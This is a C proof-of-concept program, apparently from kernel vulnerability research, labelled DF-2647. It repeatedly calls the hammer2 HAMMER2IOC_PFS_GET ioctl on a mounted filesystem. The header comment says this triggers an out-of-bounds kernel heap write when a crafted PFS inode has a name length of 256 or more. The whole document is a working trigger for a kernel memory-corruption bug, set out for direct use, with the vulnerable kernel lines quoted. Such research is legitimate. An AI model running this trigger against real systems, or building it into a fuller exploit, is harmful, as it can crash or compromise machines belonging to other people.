/*
 * DF-2647 trigger. Scans the super-root of a mounted hammer2 filesystem
 * with HAMMER2IOC_PFS_GET (name_key walk, exactly what `hammer2 pfs-ls`
 * does). When the scan reaches a PFS inode whose on-media meta.name_len
 * is >= 256 (uint16 field), the kernel executes:
 *     bcopy(ripdata->filename, pfs->name, name_len);
 *     pfs->name[name_len] = 0;
 * in a 320-byte M_IOCTLOPS kmalloc buffer  ->  OOB heap write of
 * (name_len - 256) bytes past the end of pfs->name[].
 *
 * usage: pfsget_scan <mountpoint-dir> [iters] [delay_us]
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/types.h>

/* mirror of struct hammer2_ioc_pfs (sys/vfs/hammer2/hammer2_ioctl.h) */
struct df2647_pfs {
	uint64_t	name_key;
	uint64_t	name_next;
	uint8_t		pfs_type;
	uint8_t		pfs_subtype;
	uint8_t		reserved0012;
	uint8_t		reserved0013;
	uint32_t	pfs_flags;
	uint64_t	reserved0018;
	unsigned char	pfs_fsid[16];
	unsigned char	pfs_clid[16];
	char		name[256];
};
#define DF2647_PFS_GET	_IOWR('h', 80, struct df2647_pfs)

int
main(int argc, char **argv)
{
	struct df2647_pfs pfs;
	int fd, iters, delay_us, i, n;
	uint64_t key;

	if (argc < 2) {
		fprintf(stderr, "usage: %s <mnt> [iters] [delay_us]\n", argv[0]);
		exit(2);
	}
	iters = (argc > 2) ? atoi(argv[2]) : 1;
	delay_us = (argc > 3) ? atoi(argv[3]) : 0;

	fd = open(argv[1], O_RDONLY);
	if (fd < 0) {
		perror("open");
		exit(1);
	}
	printf("pfsget_scan: fd=%d iters=%d\n", fd, iters);
	fflush(stdout);

	for (i = 0; i < iters; ++i) {
		key = 0;
		n = 0;
		for (;;) {
			memset(&pfs, 0, sizeof(pfs));
			pfs.name_key = key;
			if (ioctl(fd, DF2647_PFS_GET, &pfs) != 0) {
				printf("  ioctl -> errno=%d (%s)\n",
				    errno, strerror(errno));
				fflush(stdout);
				break;
			}
			printf("  [%d] key=%016llx next=%016llx name=\"%s\"\n",
			    i, (unsigned long long)pfs.name_key,
			    (unsigned long long)pfs.name_next, pfs.name);
			fflush(stdout);
			++n;
			if (pfs.name_next == (uint64_t)-1 || n > 32)
				break;
			key = pfs.name_next;
		}
		if (delay_us)
			usleep(delay_us);
	}
	printf("pfsget_scan: done\n");
	return 0;
}
